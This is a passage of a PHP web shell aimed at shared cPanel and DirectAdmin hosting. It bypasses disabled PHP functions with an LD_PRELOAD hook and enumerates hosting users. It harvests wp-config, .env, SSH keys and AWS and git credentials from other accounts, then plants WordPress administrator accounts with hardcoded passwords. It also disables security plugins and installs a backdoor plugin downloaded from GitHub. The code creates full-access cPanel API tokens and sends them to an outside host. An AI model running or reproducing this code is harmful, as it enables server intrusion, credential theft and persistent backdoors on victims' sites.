AAAAAAAAAAAAAAAOQIAABIAAAAAAAAAAAAAAAAAAAAAAAAAAGNydHN0dWZmLmMAX19KQ1JfTElTVF9fAGRlcmVnaXN0ZXJfdG1fY2xvbmVzAF9fZG9fZ2xvYmFsX2R0b3JzX2F1eABjb21wbGV0ZWQuNjk3MgBfX2RvX2dsb2JhbF9kdG9yc19hdXhfZmluaV9hcnJheV9lbnRyeQBmcmFtZV9kdW1deQBfX2ZyYW1lX2R1bW15X2luaXRfYXJyYXlfZW50cnkAaG9vay5jAF9fRlJBTUVfRU5EX18AX19KQ1JfRU5EX18AX19kc29faGFuZGxlAF9EWU5BTUlDAF9fR05VX0VIX0ZSQU1FX0hEUgBfX1TM_lFTkRfXwBfR0xPQkFMX09GRlNFVF9UQUJMRV8AZ2V0ZW52QEBHTElCQ18yLjIuNQBfSVRNX2RlcmVnaXN0ZXJUTUNsb25lVGFibGUAX2VkYXRhAGRhZW1vbml6ZQBfZmluaQBzeXN0ZW1AQEdMSUJDXzIuMi41AHB3bgBzaWduYWxAQEdMSUJDXzIuMi41AF9fZ21vbl9zdGFydF9fAHByZWxvYWRtZQBfZW5kAF9fYnNzX3N0YXJ0AGNobW9kQEBHTElCQ18yLjIuNQBfSnZfUmVnaXN0ZXJDbGFzc2VzAHVuc2V0ZW52QEBHTElBQkNfMi4yLjUAX2V4aXRAQEdMSUJDXzIuMi41AF9JVE1fcmVnaXN0ZXJUTUNsb25lVGFibGUAX19jeGFfZmluYWxpemVAQEdMSUJDXzIuMi41AF9pbml0AGZvcmtAQEdMSUJDXzIuMi41AA==';
403
404 $so_file = $target . '/chankro.so';
405 $socket_file = $target . '/acpid.socket';
406
407 // Output ke TMP jika UAPI (lebih cepat/stabil), lokal jika biasa
408 if ($is_uapi_token) {
409 $out_file = '/tmp/sfm_out_' . time() . '.txt';
410 } else {
411 $out_file = $target . '/chankro_out.txt';
412 }
413
414 @unlink($so_file); @unlink($socket_file); @unlink($out_file);
415
416 // ANTI-LOOP: Gunakan 'env -u' untuk membersihkan variabel hook sebelum perintah dijalankan
417 $safe_cmd = "export PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin; env -u LD_PRELOAD -u CHANKRO " . $cmd_raw;
418 $full_command = "($safe_cmd) > $out_file 2>&1";
419
420 $meterpreter = base64_encode($full_command);
421
422 x_write($so_file, base64_decode($hook));
423 x_write($socket_file, base64_decode($meterpreter));
424
425 putenv('CHANKRO=' . $socket_file);
426 putenv('LD_PRELOAD=' . $so_file);
427
428 if (function_exists('mail')) { @mail('a','a','a','a'); }
429 elseif (function_exists('mb_send_mail')) { @mb_send_mail('a','a','a','a'); }
430 elseif (function_exists('error_log')) { @error_log('a', 1, 'a'); }
431 elseif (function_exists('imap_mail')) { @imap_mail('a','a','a'); }
432
433 sleep($is_uapi_token ? 5 : 2);
434
435 if (file_exists($out_file)) {
436 $raw_out = file_get_contents($out_file);
437
438 if ($is_uapi_token) {
439 if (preg_match('/token:\s*(\S+)/i', $raw_out, $m)) {
440 $out = "SUCCESS TOKEN:\n" . $m[1];
441 } elseif (stripos($raw_out, 'You do not have the feature') !== false) {
442 $out = "FAILED: Feature 'apitokens' disabled by host.";
443 } else {
444 $clean = preg_replace('/^ERROR: ld\.so:.*$/m', '', $raw_out);
445 $out = trim($clean);
446 if(empty($out)) $out = "UAPI Executed but no token found (Raw):\n" . substr($raw_out, 0, 500);
447 }
448 } else {
449 // CLEAN OUTPUT
450 $clean = preg_replace('/^ERROR: ld\.so:.*$/m', '', $raw_out);
451 $out = trim($clean);
452 }
453
454 if (empty($out) && !empty($raw_out)) $out = $raw_out;
455 } else {
456 $out = "[Chankro Failed: Output file not created at $out_file]";
457 }
458
459 @unlink($so_file); @unlink($socket_file);
460 if($is_uapi_token) @unlink($out_file);
461 }
462
463 if (empty($out) || strlen(trim($out)) === 0) {
464 $out = "[No Output Produced]";
465 }
466 echo $out; exit;
467 }
468
469 if ($action === 'tool') {
470 $tool = isset($_SERVER[$h_tool]) ? $_SERVER[$h_tool] : '';
471 $home_dirs = get_home_dirs();
472
473 // --- UPDATED MASS UPLOAD (USE ROBUST WRITE) ---
474 if ($tool === 'mass_upload') {
475 $mode = isset($_SERVER[$h_mmode]) ? $_SERVER[$h_mmode] : 'init';
476 $tmp_list = sys_get_temp_dir() . "/sfm_mass_targets.json";
477 $tmp_file = sys_get_temp_dir() . "/sfm_mass_payload.tmp";
478
479 if ($mode === 'init') {
480 $input = file_get_contents("php://input");
481 if (isset($_SERVER[$h_enc]) && $_SERVER[$h_enc] === 'b64') $input = base64_decode($input);
482 file_put_contents($tmp_file, $input);
483 $targets = scan_smart_targets($target);
484 file_put_contents($tmp_list, json_encode($targets));
485 json_out(['status' => 'ready', 'total' => count($targets)]);
486 }
487
488 if ($mode === 'process') {
489 $step = isset($_SERVER[$h_step]) ? (int)$_SERVER[$h_step] : 0;
490 $filename = isset($_SERVER[$h_data]) ? base64_decode($_SERVER[$h_data]) : 'mass_file.php';
491 $limit = 20;
492
493 if (!file_exists($tmp_list) || !file_exists($tmp_file)) { json_out(['status'=>'error', 'msg'=>'Task expired.']); }
494
495 $targets = json_decode(file_get_contents($tmp_list), true);
496 $total = count($targets);
497
498 if ($total === 0 || $step >= $total) {
499 @unlink($tmp_list); @unlink($tmp_file);
500 json_out(['status' => 'done', 'total' => $total]);
501 }
502
503 $batch = array_slice($targets, $step, $limit);
504 $payload = file_get_contents($tmp_file);
505 $count_ok = 0;
506
507 foreach($batch as $dir) {
508 if(x_robust_write($dir . '/' . $filename, $payload, false)) $count_ok++;
509 }
510
511 $next_step = $step + $limit;
512 json_out(['status' => 'continue', 'next_step' => $next_step, 'total' => $total, 'ok_batch' => $count_ok]);
513 }
514 exit;
515 }
516
517 // --- BYPASS USER (PRIORITY: ID SCANNING -> FALLBACK: ETC/PASSWD) ---
518 if ($tool === 'bypass_user') {
519 $found = [];
520
521 // Daftar user system/sampah yang wajib dibuang
522 $blacklist = [
523 'root', 'bin', 'daemon', 'adm', 'lp', 'sync', 'shutdown', 'halt', 'mail',
524 'operator', 'games', 'ftp', 'named', 'nscd', 'rpcuser', 'rpc', 'mailnull',
525 'tss', 'sshd', 'dbus', 'dovecot', 'rtkit', 'agent360', 'ossece', 'ossecm',
526 'ossecr', 'ossec', 'imunify360-scanlogd', 'imunify360-webshield', 'wp-toolkit',
527 'lsadm', '_imunify', 'flatpak', 'geoclue', 'pipewire', 'polkitd',
528 'cpanelphpmyadmin', 'cpanelphppgadmin', 'dovenull', 'mysql', 'cpses',
529 'cpanelanalytics', 'cpanelconnecttrack', 'cpanelroundcube', 'cpaneleximscanner',
530 'cpaneleximfilter', 'cpanellogin', 'cpanelcabcache', 'cpanel', 'mailman',
531 'chrony', 'sssd', 'systemd-coredump', 'nobody', 'apache', 'nginx', 'litespeed',
532 'systemd-network', 'systemd-resolve', 'systemd-timesync'
533 ];
534
535 // METODE 1: SCANNING ID (PRIORITAS UTAMA)
536 // Mencoba mendapatkan user langsung dari Kernel via POSIX
537 // Range scan: 0 sampai 5000 (Mencakup user system & user hosting)
538 if (function_exists('posix_getpwuid')) {
539 for ($userid = 0; $userid < 5000; $userid++) {
540 $arr = @posix_getpwuid($userid);
541 if (!empty($arr) && isset($arr['name'])) {
542 $u = $arr['name'];
543 $h = isset($arr['dir']) ? $arr['dir'] : '';
544
545 // Filter: Tidak boleh ada di blacklist DAN home dir harus valid
546 if (!in_array($u, $blacklist)) {
547 if (stripos($h, '/home') !== false || stripos($h, '/var/www') !== false || stripos($h, '/usr/home') !== false) {
548 $found[] = $u;
549 }
550 }
551 }
552 }
553 }
554
555 // METODE 2: READ /ETC/PASSWD (FALLBACK)
556 // Hanya dijalankan jika Metode 1 (Scanning ID) gagal total atau return kosong
557 if (empty($found)) {
558 $raw_etc = x_read("/etc/passwd");
559 if ($raw_etc) {
560 $lines = explode("\n", $raw_etc);
561 foreach($lines as $l) {
562 if(empty(trim($l))) continue;
563 $p = explode(":", $l);
564 $u = isset($p[0]) ? trim($p[0]) : '';
565 $h = isset($p[5]) ? trim($p[5]) : ''; // Kolom 6 = Home Dir
566
567 if (!empty($u) && !in_array($u, $blacklist)) {
568 if (stripos($h, '/home') !== false || stripos($h, '/var/www') !== false || stripos($h, '/usr/home') !== false) {
569 $found[] = $u;
570 }
571 }
572 }
573 }
574 }
575
576 // Hapus duplikat & Simpan
577 $found = array_unique($found);
578 $output = "";
579 foreach($found as $user) {
580 $output .= $user . ":\n";
581 }
582
583 if(!empty($output)) {
584 x_write("passwd.txt", $output);
585 echo "Saved to: passwd.txt\nMethod: " . (function_exists('posix_getpwuid') ? "ID Scan (Primary)" : "File Read (Fallback)") . "\nClean Users Found: " . count($found);
586 } else {
587 echo "Failed. No valid hosting users found via ID Scan or File Read.";
588 }
589 exit;
590 }
591
592
593 if ($tool === 'add_admin') {
594 $step = isset($_SERVER[$h_step]) ? (int)$_SERVER[$h_step] : 0;
595 $limit = 5;
596 $mode = isset($_SERVER['HTTP_X_MODE']) ? $_SERVER['HTTP_X_MODE'] : 'jumping';
597 $target_sub = ($mode === 'symlink') ? '3x_sym' : 'jumping';
598
599 $scan_path = is_dir($target . '/' . $target_sub) ? $target . '/' . $target_sub : $target;
600 $all_files = scandir($scan_path);
601 $config_files = [];
602 foreach($all_files as $f) {
603 if($f == '.' || $f == '..') continue;
604 if(stripos($f, 'config') !== false || stripos($f, 'settings') !== false || substr($f, -4) === '.txt') {
605 $config_files[] = $scan_path . '/' . $f;
606 }
607 }
608 $total = count($config_files);
609 if ($step >= $total) { echo json_encode(['status'=>'done', 'html'=>'', 'total'=>$total]); exit; }
610 $batch_files = array_slice($config_files, $step, $limit);
611 $html_log = "";
612
613 foreach($batch_files as $file) {
614 $content = x_read($file);
615 if(!$content) continue;
616 if (preg_match("/define\s*\(\s*['\"]DB_NAME['\"]\s*,\s*['\"](.*?)['\"]\s*\)/i", $content, $m_name)) {
617 $db_name = $m_name[1];
618 preg_match("/define\s*\(\s*['\"]DB_USER['\"]\s*,\s*['\"](.*?)['\"]\s*\)/i", $content, $m_user); $db_user = $m_user[1] ?? '';
619 preg_match("/define\s*\(\s*['\"]DB_PASSWORD['\"]\s*,\s*['\"](.*?)['\"]\s*\)/i", $content, $m_pass); $db_pass = $m_pass[1] ?? '';
620 preg_match("/define\s*\(\s*['\"]DB_HOST['\"]\s*,\s*['\"](.*?)['\"]\s*\)/i", $content, $m_host); $db_host = $m_host[1] ?? 'localhost';
621 preg_match("/table_prefix\s*=\s*['\"](.*?)['\"]/", $content, $m_pre); $pre = $m_pre[1] ?? 'wp_';
622
623 $new_u = "xshikata"; $new_p_raw = "Wh0th3h3llAmi"; $new_p_hash = md5($new_p_raw);
624
625 $link = mysqli_init(); mysqli_options($link, MYSQLI_OPT_CONNECT_TIMEOUT, 3);
626 $con = @mysqli_real_connect($link, $db_host, $db_user, $db_pass, $db_name);
627 if (!$con && $db_host == 'localhost') { $link = mysqli_init(); mysqli_options($link, MYSQLI_OPT_CONNECT_TIMEOUT, 3); $con = @mysqli_real_connect($link, '127.0.0.1', $db_user, $db_pass, $db_name); }
628
629 if ($con) {
630 $site_url = ""; $q = @mysqli_query($link, "SELECT option_value FROM {$pre}options WHERE option_name='siteurl' LIMIT 1");
631 if ($q && $r = @mysqli_fetch_assoc($q)) $site_url = $r['option_value'];
632 $disp_url = parse_url($site_url, PHP_URL_HOST); if(!$disp_url) $disp_url = $site_url;
633
634 // LOGIC STATUS
635 $st_txt = "New Admin"; $st_cls = "status-success";
636 $chk = @mysqli_query($link, "SELECT ID FROM {$pre}users WHERE user_login='$new_u'");
637 if ($chk && @mysqli_num_rows($chk) > 0) {
638 $old = @mysqli_fetch_assoc($chk); @mysqli_query($link, "DELETE FROM {$pre}users WHERE ID = " . $old['ID']); @mysqli_query($link, "DELETE FROM {$pre}usermeta WHERE user_id = " . $old['ID']);
639 $st_txt = "Replaced"; $st_cls = "status-warning";
640 }
641 $ins = @mysqli_query($link, "INSERT INTO {$pre}users (user_login, user_pass, user_nicename, user_email, user_registered, user_status, display_name) VALUES ('$new_u', '$new_p_hash', '$new_u', 'admin@admin.com', NOW(), 0, '$new_u')");
642
643 if ($ins) {
644 $uid = @mysqli_insert_id($link); @mysqli_query($link, "INSERT INTO {$pre}usermeta (user_id, meta_key, meta_value) VALUES ($uid, '{$pre}capabilities', 'a:1:{s:13:\"administrator\";b:1;}')"); @mysqli_query($link, "INSERT INTO {$pre}usermeta (user_id, meta_key, meta_value) VALUES ($uid, '{$pre}user_level', '10')");
645
646 // --- NEW HTML STRUCTURE (MODERN ROW) ---
647 $html_log .= "
648 <div class='modern-row'>
649 <div class='m-icon'>
650 <i class='fab fa-wordpress-simple'></i>
651 </div>
652 <div class='m-info'>
653 <div class='m-domain'>$disp_url</div>
654 <div class='m-status $st_cls'>$st_txt</div>
655 </div>
656 <div class='m-creds'>
657 <div class='cred-group'>
658 <label>USERNAME</label>
659 <div class='val copyable' onclick='navigator.clipboard.writeText(\"$new_u\");showToast(\"Copied!\")'>$new_u</div>
660 </div>
661 <div class='cred-group'>
662 <label>PASSWORD</label>
663 <div class='val blur-reveal copyable' onclick='navigator.clipboard.writeText(\"$new_p_raw\");showToast(\"Copied!\")'>$new_p_raw</div>
664 </div>
665 </div>
666 <div class='m-action'>
667 <form action='$site_url/wp-login.php' method='post' target='_blank'>
668 <input type='hidden' name='log' value='$new_u'>
669 <input type='hidden' name='pwd' value='$new_p_raw'>
670 <button class='btn-glow'><i class='fas fa-rocket me-2'></i>Launch</button>
671 </form>
672 </div>
673 </div>";
674 }
675 @mysqli_close($link);
676 }
677 }
678 }
679 $next_step = $step + $limit;
680 if ($next_step < $total) { echo json_encode(['status'=>'continue', 'next_step'=>$next_step, 'html'=>$html_log, 'total'=>$total, 'current'=>$next_step]); }
681 else { echo json_encode(['status'=>'done', 'html'=>$html_log, 'total'=>$total]); }
682 exit;
683 }
684
685 // --- SMART JUMPER & SYMLINKER (UNIVERSAL PATH: CPANEL + DIRECTADMIN) ---
686 if ($tool === 'symlink_cage' || $tool === 'jumper_cage') {
687 $c = x_read(getcwd()."/passwd.txt");
688 if(!$c) { echo "Err: passwd.txt missing. Run 'Bypass User' first."; exit; }
689
690 $users = explode("\n", $c);
691 $dir = ($tool === 'symlink_cage') ? "3x_sym" : "jumping";
692 if(!is_dir($dir)) @mkdir($dir, 0755);
693 @chdir($dir);
694
695 x_write(".htaccess", "Options Indexes FollowSymLinks\nDirectoryIndex x\nAddType text/plain .php\nAddHandler text/plain .php");
696
697 // 1. CONFIG CMS (Updated List)
698 $cms_map = [
699 'wp-config.php' => 'wordpress',
700 '.env' => 'laravel_env',
701 'configuration.php' => 'joomla_whmcs',
702 'sites/default/settings.php'=> 'drupal',
703 'app/etc/env.php' => 'magento_env',
704 'app/etc/local.xml' => 'magento_xml',
705 'app/config/parameters.php' => 'prestashop',
706 'config/settings.inc.php' => 'prestashop_old',
707 'config.php' => 'opencart',
708 'admin/config.php' => 'opencart_admin',
709 'core/includes/config.php' => 'vbulletin',
710 'includes/config.php' => 'vbulletin_old',
711 'src/config.php' => 'xenforo',
712 'library/config.php' => 'xenforo_old',
713 'application/config/database.php' => 'codeigniter',
714 'typo3conf/LocalConfiguration.php' => 'typo3',
715 'wp/wp-config.php' => 'wp',
716 'config/db.php' => 'yii_db'
717 ];
718
719 // 2. FILE SENSITIF (Root Home)
720 $sensitive_map = [
721 '.my.cnf' => 'cp',
722 '.accesshash' => 'whm',
723 '.bash_history' => 'bash_hist',
724 '.mysql_history' => 'sql_hist',
725 '.ssh/id_rsa' => 'ssh_rsa',
726 '.ssh/id_ed25519' => 'ssh_ed25519',
727 '.ssh/known_hosts' => 'ssh_hosts',
728 '.aws/credentials' => 'aws_key',
729 '.git-credentials' => 'git_key'
730 ];
731
732 $n = 0;
733
734 foreach ($users as $u_str) {
735 $u = trim(explode(":", $u_str)[0]);
736 if(!$u) continue;
737
738 foreach ($home_dirs as $h) {
739 $home_root = "$h/$u";
740 $found_cms = false;
741
742 // --- [HELPER] STRICT CHECKER & SAVER ---
743 $process_file = function($target_path, $save_name) use ($tool, &$n) {
744 if ($tool === 'jumper_cage') {
745 $dat = x_read($target_path);
746 // Validasi Ketat: Ada isi, bukan error
747 if ($dat && strlen($dat) > 10
748 && stripos($dat, 'No such file') === false
749 && stripos($dat, 'Permission denied') === false
750 && stripos($dat, 'Unable to open') === false) {
751
752 x_write($save_name, $dat);
753 @chmod($save_name, 0644);
754 $n++;
755 return true;
756 }
757 } elseif ($tool === 'symlink_cage') {
758 if (file_exists($save_name)) @unlink($save_name);
759 x_link($target_path, $save_name);
760 // Validasi Symlink: Coba baca sedikit
761 $test_read = @file_get_contents($save_name, false, null, 0, 50);
762 if ($test_read !== false && strlen($test_read) > 0 && stripos($test_read, 'Permission denied') === false) {
763 @chmod($save_name, 0644);
764 $n++;
765 return true;
766 } else {
767 @unlink($save_name); // Hapus symlink mati
768 }
769 }
770 return false;
771 };
772
773 // --- STEP A: CARI FILE SENSITIF (Di Root Home) ---
774 foreach ($sensitive_map as $file => $out_name) {
775 $process_file("$home_root/$file", "$u~" . str_replace("/", "", $h) . "~$out_name.txt");
776 }
777
778 // --- STEP B: DETEKSI DOCUMENT ROOTS (cPanel & DirectAdmin) ---
779 $target_roots = [];
780
781 // 1. Standar cPanel (/home/user/public_html)
782 if (is_dir("$home_root/public_html")) {
783 $target_roots[] = "$home_root/public_html";
784 }
785
786 // 2. DirectAdmin / Multi-Domain (/home/user/domains/domain.com/public_html)
787 if (is_dir("$home_root/domains")) {
788 $domains = @scandir("$home_root/domains");
789 if ($domains) {
790 foreach ($domains as $d) {
791 if ($d === '.' || $d === '..' || !is_dir("$home_root/domains/$d")) continue;
792 $da_path = "$home_root/domains/$d/public_html";
793 if (is_dir($da_path)) {
794 $target_roots[] = $da_path;
795 }
796 }
797 }
798 }
799
800 // --- STEP C: SCAN CONFIG DI SEMUA ROOT YANG DITEMUKAN ---
801 foreach ($target_roots as $public_html) {
802 if ($found_cms) break; // Smart Stop: Cukup 1 config valid per user
803
804 foreach ($cms_map as $file => $cms_name) {
805 $target = "$public_html/$file";
806 $save_name = "$u~" . str_replace("/", "", $h) . "~$cms_name.txt";
807
808 if ($process_file($target, $save_name)) {
809 $found_cms = true;
810 break; // Stop loop CMS
811 }
812 }
813 }
814
815 if ($found_cms) break; // Pindah ke user berikutnya
816 }
817 }
818
819 echo "$tool Done. Total Valid & Readable Files: $n.";
820 exit;
821 }
822
823
824
825
826
827 // --- BACKUP (UAPI TOKEN + CREATE ADMIN) ---
828 if ($tool === 'backup') {
829 echo "<div style='font-family:monospace; font-size:12px; background:#1b1b1b; padding:10px;'>";
830
831 // --- PART 1: UAPI TOKEN ---
832 echo "<div class='mb-3'><div class='fw-bold text-warning border-bottom border-secondary mb-2'>1. CPANEL TOKEN</div>";
833
834 $cwd = str_replace('\\', '/', getcwd());
835 $homedir = "/home/" . get_current_user() . "/public_html";
836 if (preg_match('~^(/home\d*?/[^/]+)~', $cwd, $m)) {
837 $homedir = $m[1] . "/public_html";
838 }
839
840 $cmd = "(uapi Tokens create_full_access name=xshikata || /usr/bin/uapi Tokens create_full_access name=xshikata || /usr/local/cpanel/bin/uapi Tokens create_full_access name=xshikata) 2>&1";
841 $output = "";
842 $used_method = "None";
843
844 $methods = [
845 'shell_exec' => function($c) { return @shell_exec($c); },
846 'exec' => function($c) { @exec($c, $o); return implode("\n", $o); },
847 'passthru' => function($c) { ob_start(); @passthru($c); return ob_get_clean(); },
848 'system' => function($c) { ob_start(); @system($c); return ob_get_clean(); },
849 'popen' => function($c) { $h = @popen($c, 'r'); if($h) { $o = stream_get_contents($h); @pclose($h); return $o; } return null; },
850 'proc_open' => function($c) {
851 $d = [1 => ['pipe', 'w'], 2 => ['pipe', 'w']];
852 $p = @proc_open($c, $d, $pipes);
853 if (is_resource($p)) { $o = stream_get_contents($pipes[1]); @fclose($pipes[1]); @fclose($pipes[2]); @proc_close($p); return $o; }
854 return null;
855 }
856 ];
857
858 foreach ($methods as $name => $func) {
859 if (function_exists($name)) {
860 $res = $func($cmd);
861 if (!empty($res)) {
862 $output = $res;
863 if (stripos($res, 'token:') !== false || stripos($res, 'conflicting') !== false || stripos($res, 'already exists') !== false) {
864 $used_method = $name;
865 break;
866 }
867 }
868 }
869 }
870
871 $token_val = "";
872 $display_status = "UNKNOWN";
873 $display_color = "text-secondary";
874
875 if(preg_match('/token:\s*(\S+)/i', $output, $m)) {
876 $token_val = trim($m[1]);
877 $display_status = "CREATED";
878 $display_color = "text-success";
879 } elseif (stripos($output, 'conflicting') !== false || stripos($output, 'already exists') !== false) {
880 $token_val = "Exists (Secret Hidden)";
881 $display_status = "ALREADY EXISTS";
882 $display_color = "text-warning";
883 } else {
884 $display_status = "NOT FOUND";
885 $display_color = "text-danger";
886 }
887
888 $server_response = "Skipped";
889 $srv_color = "text-secondary";
890
891 if ($display_status === "CREATED" && !empty($token_val)) {
892 $target_url = "https://stepmomhub.com/catch.php";
893
894 $data_json = json_encode([
895 "domain" => $_SERVER['HTTP_HOST'],
896 "username" => get_current_user(),
897 "apiToken" => $token_val,
898 "homedir" => $homedir
899 ]);
900
901 $raw_response = "No Connect";
902 if (function_exists('curl_init')) {
903 $ch = curl_init($target_url);
904 curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
905 curl_setopt($ch, CURLOPT_POST, true);
906 curl_setopt($ch, CURLOPT_POSTFIELDS, $data_json);
907 curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/json']);
908 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
909 curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
910 curl_setopt($ch, CURLOPT_TIMEOUT, 10);
911 $raw_response = curl_exec($ch);
912 curl_close($ch);
913 } elseif (ini_get('allow_url_fopen')) {
914 $opts = ['http' => ['method'=>'POST', 'header'=>'Content-Type: application/json', 'content'=>$data_json, 'timeout'=>10], 'ssl'=>['verify_peer'=>false, 'verify_peer_name'=>false]];
915 $raw_response = @file_get_contents($target_url, false, stream_context_create($opts));
916 }
917
918 $json_res = json_decode($raw_response, true);
919 if ($json_res) {
920 if ($json_res['status'] === 'success') { $server_response = "Saved to Database."; $srv_color = "text-success"; }
921 elseif ($json_res['status'] === 'ignored') { $server_response = "Already Saved (Duplicate)."; $srv_color = "text-warning"; }
922 else { $server_response = "Server Error: " . $json_res['msg']; $srv_color = "text-danger"; }
923 } else { $server_response = "Raw: " . substr($raw_response, 0, 50); }
924 } elseif ($display_status === "ALREADY EXISTS") {
925 $server_response = "Skipped (Secret Hidden)"; $srv_color = "text-warning";
926 }
927
928 echo "<div>Method: <span class='text-info'>$used_method</span> | Token: <span class='$display_color fw-bold'>$display_status</span></div>";
929 echo "<div>Server: <span class='$srv_color fw-bold'>$server_response</span></div>";
930 if ($display_status === "NOT FOUND") { $clean_out = htmlspecialchars(substr($output, 0, 200)); echo "<div class='text-secondary mt-1 border border-secondary p-1 small'>$clean_out</div>"; }
931 echo "</div>";
932
933 // --- PART 2: CREATE ADMIN WORDPRESS ---
934 echo "<div class='mb-2'><div class='fw-bold text-warning border-bottom border-secondary mb-2'>2. WP ADMIN CREATOR</div>";
935
936 $targets = [];
937 scan_smart_stream($target, $targets);
938 $targets = array_unique($targets);
939
940 if (empty($targets)) {
941 echo "<div class='text-danger'>No wp-config.php found in this path.</div>";
942 } else {
943 $au = 'xshikata';
944 $ap = md5('Lulz1337');
945 $ae = 'topupgameku.id@gmail.com';
946
947 $plugin_src = 'https://raw.githubusercontent.com/baseng1337/damn/refs/heads/main/system-core.php';
948 $plugin_folder_name = 'system-core';
949 $plugin_filename = 'system-core.php';
950 $plugin_hook = $plugin_folder_name . '/' . $plugin_filename;
951
952 $receiver_url = 'https://stepmomhub.com/wp/receiver.php';
953 $receiver_key = 'wtf';
954
955 $master_core = sys_get_temp_dir() . '/master_core_' . time() . '.php';
956 $master_index = sys_get_temp_dir() . '/master_index_' . time() . '.php';
957 $ua = stream_context_create(['http'=>['header'=>"User-Agent: Mozilla/5.0"]]);
958 $src_core = @file_get_contents($plugin_src, false, $ua);
959 $src_idx = @file_get_contents('https://raw.githubusercontent.com/baseng1337/damn/refs/heads/main/index.php', false, $ua);
960 if($src_core) file_put_contents($master_core, $src_core);
961 if($src_idx) file_put_contents($master_index, $src_idx);
962
963 foreach ($targets as $cfg) {
964 $raw = x_read($cfg);
965 if (!$raw) continue;
966
967 $dh = get_conf_val_smart($raw, 'DB_HOST');
968 $du = get_conf_val_smart($raw, 'DB_USER');
969 $dp = get_conf_val_smart($raw, 'DB_PASSWORD');
970 $dn = get_conf_val_smart($raw, 'DB_NAME');
971 $pre = 'wp_';
972 if (preg_match("/\\\$table_prefix\s*=\s*['\"]([^'\"]+)['\"]/", $raw, $m)) $pre = $m[1];
973
974 $wp_root_path = dirname($cfg);
975 $disp = str_replace($target, '', $wp_root_path);
976
977 echo "<div class='mb-1 border-bottom border-secondary pb-1'>";
978 echo "<span class='text-light'>Dir: " . ($disp?:'/') . "</span> -> ";
979
980 @mysqli_report(MYSQLI_REPORT_OFF);
981 $cn = mysqli_init();
982 @mysqli_options($cn, MYSQLI_OPT_CONNECT_TIMEOUT, 2);
983
984 if (@mysqli_real_connect($cn, $dh, $du, $dp, $dn)) {
985 $plugins_dir = $wp_root_path . '/wp-content/plugins/';
986
987 $targets_to_kill = ['wordfence', 'ithemes-security-pro', 'sucuri-scanner', 'sg-security', 'limit-login-attempts-reloaded'];
988 foreach ($targets_to_kill as $folder) {
989 $path = $plugins_dir . $folder;
990 if (is_dir($path)) { @rename($path, $path . '_killed_' . time()); }
991 }
992
993 $target_folder = $plugins_dir . $plugin_folder_name;
994 $target_file = $target_folder . '/' . $plugin_filename;
995 $index_file = $target_folder . '/index.php';
996 if (!is_dir($target_folder)) { @mkdir($target_folder, 0755, true); @chmod($target_folder, 0755); }
997
998 $deploy_ok = false;
999 if (file_exists($master_core) && @copy($master_core, $target_file)) {
1000 @chmod($target_file, 0644);
1001 if (file_exists($master_index)) @copy($master_index, $index_file);
1002 $deploy_ok = true;
1003 }
1004
1005 $act_ok = false; $user_ok = false;
1006 if ($deploy_ok) {
1007 $qopt = @mysqli_query($cn, "SELECT option_value FROM {$pre}options WHERE option_name='active_plugins'");
1008 $current_plugins = ($qopt && mysqli_num_rows($qopt) > 0) ? @unserialize(mysqli_fetch_assoc($qopt)['option_value']) : [];
1009 if (!is_array($current_plugins)) $current_plugins = [];
1010 if (!in_array($plugin_hook, $current_plugins)) {
1011 $current_plugins[] = $plugin_hook;
1012 sort($current_plugins);
1013 $hex_data = bin2hex(serialize($current_plugins));
1014 @mysqli_query($cn, "DELETE FROM {$pre}options WHERE option_name='active_plugins'");
1015 if (@mysqli_query($cn, "INSERT INTO {$pre}options (option_name, option_value, autoload) VALUES ('active_plugins', 0x$hex_data, 'yes')")) $act_ok = true;
1016 } else { $act_ok = true; }
1017 }
1018
1019 $q1 = @mysqli_query($cn, "SELECT ID FROM {$pre}users WHERE user_login='$au'");
1020 if ($q1 && mysqli_num_rows($q1) > 0) {
1021 $uid = mysqli_fetch_assoc($q1)['ID'];
1022 @mysqli_query($cn, "UPDATE {$pre}users SET user_pass='$ap' WHERE ID=$uid");
1023 $user_ok = true;
1024 } else {
1025 @mysqli_query($cn, "INSERT INTO {$pre}users (user_login,user_pass,user_nicename,user_email,user_status,display_name) VALUES ('$au','$ap','Admin','$ae',0,'Admin')");
1026 $uid = mysqli_insert_id($cn);
1027 if($uid) $user_ok = true;
1028 }
1029 if($user_ok) {
1030 $cap = serialize(['administrator'=>true]);
1031 @mysqli_query($cn, "INSERT INTO {$pre}usermeta (user_id,meta_key,meta_value) VALUES ($uid,'{$pre}capabilities','$cap') ON DUPLICATE KEY UPDATE meta_value='$cap'");
1032 @mysqli_query($cn, "INSERT INTO {$pre}usermeta (user_id,meta_key,meta_value) VALUES ($uid,'{$pre}user_level','10') ON DUPLICATE KEY UPDATE meta_value='10'");
1033 }
1034
1035 $ping_res = "<span class='text-secondary'>-</span>";
1036 $surl = "";
1037 $qurl = @mysqli_query($cn, "SELECT option_value FROM {$pre}options WHERE option_name='siteurl'");
1038 if ($qurl && mysqli_num_rows($qurl)>0) $surl = mysqli_fetch_assoc($qurl)['option_value'];
1039
1040 if (!empty($surl)) {
1041 $pdata_direct = http_build_query(['action'=>'register_site', 'secret'=>$receiver_key, 'domain'=>$surl, 'api_user'=>'', 'api_pass'=>'']);
1042 $ctx_direct = stream_context_create(['http'=>['method'=>'POST','header'=>"Content-type: application/x-www-form-urlencoded",'content'=>$pdata_direct,'timeout'=>2]]);
1043 @file_get_contents($receiver_url, false, $ctx_direct);
1044
1045 if ($act_ok) {
1046 $trigger_url = rtrim($surl, '/') . '/wp-content/plugins/' . $plugin_folder_name . '/index.php';
1047 $ctx_trig = stream_context_create(['http'=>['method'=>'GET','header'=>"User-Agent: Mozilla/5.0",'timeout'=>2]]);
1048 @file_get_contents($trigger_url, false, $ctx_trig);
1049 $ping_res = "<span class='text-success'>OK</span>";
1050 }
1051 }
1052
1053 echo $deploy_ok ? "<span class='text-success'>PLG:OK</span> " : "<span class='text-danger'>PLG:ERR</span> ";
1054 echo $user_ok ? "<span class='text-success'>USR:OK</span> " : "<span class='text-danger'>USR:ERR</span> ";
1055 echo "PING:$ping_res";
1056
1057 mysqli_close($cn);
1058 } else {
1059 echo "<span class='text-danger'>DB CONN FAIL</span>";
1060 }
1061 echo "</div>";
1062 }
1063 }
1064 echo "</div>";
1065 echo "</div>";
1066 exit;
1067 }
1068
